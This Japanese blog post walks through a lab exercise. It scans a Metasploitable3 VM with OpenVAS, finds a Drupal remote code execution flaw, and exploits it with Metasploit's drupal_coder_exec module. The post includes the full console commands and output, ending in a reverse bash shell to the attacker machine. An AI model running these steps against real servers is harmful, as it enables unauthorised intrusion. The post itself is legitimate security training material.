0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable3 exploit Drupal

Posted at

Metasploitable3の脆弱性スキャンを行い、発見されたDrupalのRCE脆弱性をmetasploitで攻撃します。

環境

Metasploitable3は、構築済みのMetasploitable3-ub1404.ovaを使用しました。
脆弱性スキャンは、「体系的学ぶ安全なWebアプリケーションの作り方」の実習用仮想マシン(OpenVAS)を使用しました。
Metasploitable3とOpenVASの両方とも、「ホストオンリーアダプタ」を有効にしておきます。
Metasploitable3のIPアドレス 192.168.56.123
OpenVASのIPアドレス 192.168.56.102

脆弱性スキャン

Metasploitable3をOpenVASで脆弱性スキャンします。
Metasploitable3とOpenVASの仮想マシンをVirtualBoxで起動します。

設定

1.ホストPCのブラウザで、http://192.168.56.102:4000にアクセスして、OpenVASにログインします。
2.ConfigurationのTargetsを選択します。
スクリーンショット 2025-05-01 123620.png
3.★をクリックします。
スクリーンショット 2025-05-01 123859.png
4.Targetの設定
name:任意の名前を入力
HostsのIPアドレス:Metasploitable 3のIPアドレスを入力
Port List:デフォルトの「All IANA assigned TCP 2012-02-10」を選択
Alive Test:デフォルトの「Scan Config Default」を選択
「Create」をクリックします。
スクリーンショット 2025-05-01 124217.png
5.ScanのTasksを選択します。
スクリーンショット 2025-05-01 124821.png
6.★からNew Taskを選択します。
スクリーンショット 2025-05-01 125147.png
7.スキャンの設定
name:任意の名前を入力
Scan Target:先程設定したTargetを選択
Scan Config:デフォルトの「Full and fast」を選択
「Create」をクリックします。
スクリーンショット 2025-05-01 125505.png

実行

1.Actionの▶ボタンをクリックして、スタートします。
スクリーンショット 2025-05-02 075416.png
2.Reportの今回のスキャンの日付をクリックすると、スキャン結果の一覧が表示されます。
スクリーンショット 2025-05-02 082912.png
3.HTMLを選択して、⬇ボタンをクリックすると、結果をHTMLでダウンロードできます。
スクリーンショット 2025-05-02 083417.png

結果

同じ条件でスキャンしても、毎回同じ結果というわけではないようです。
High (CVSS: 10.0)の脆弱性として、DrupalのRemote Code Executionが検出されました。
この脆弱性をmetasploitで攻撃します。
スクリーンショット 2025-05-02 123828.png

Metasploitの起動

OpenVASは、シャットダウンして、攻撃用のParrot OSを起動します。
攻撃用Parrot OSのIPアドレス 192.168.56.10
端末からmsfconsoleと入力し、Metasploitを起動します。

$msfconsole

drupal remoteで検索します。

[msf](Jobs:0 Agents:0) >> search drupal remote

Matching Modules
================

   #  Name                                                              Disclosure Date  Rank       Check  Description
   -  ----                                                              ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec                             2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/multi/http/drupal_drupageddon                             2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   2    \_ target: Drupal 7.0 - 7.31 (form-cache PHP injection method)  .                .          .      .
   3    \_ target: Drupal 7.0 - 7.31 (user-post PHP injection method)   .                .          .      .
   4  auxiliary/gather/drupal_openid_xxe                                2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   5  exploit/unix/webapp/drupal_restws_exec                            2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/linux/webapp/44557                                        2018-04-29       excellent  No     Drupalgeddon3


Interact with a module by name or index. For example info 6, use 6 or use exploit/linux/webapp/44557

一番上のexploitが日付的にも今回の脆弱性にあっていそうなので、use 0と入力します。

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash

ペイロードは、デフォルトで設定されています。
オプションを確認します。

[msf](Jobs:0 Agents:0) exploit(unix/webapp/drupal_coder_exec) >> show options

Module options (exploit/unix/webapp/drupal_coder_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,ty
                                         pe:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metas
                                         ploit.com/docs/using-metasploit/basics/usi
                                         ng-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specif
                                     ied)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

RequiredがyesのRHOSTS、TARGETURI、LHOSTを設定します。

[msf](Jobs:0 Agents:0) exploit(unix/webapp/drupal_coder_exec) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(unix/webapp/drupal_coder_exec) >> set targeturi drupal 
targeturi => drupal
[msf](Jobs:0 Agents:0) exploit(unix/webapp/drupal_coder_exec) >> set lhost 192.168.56.10
lhost => 192.168.56.10

実行します。

[msf](Jobs:0 Agents:0) exploit(unix/webapp/drupal_coder_exec) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Cleaning up: [ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.123:59214) at 2025-05-02 12:53:57 +0900

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

リバースシェルで接続できました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?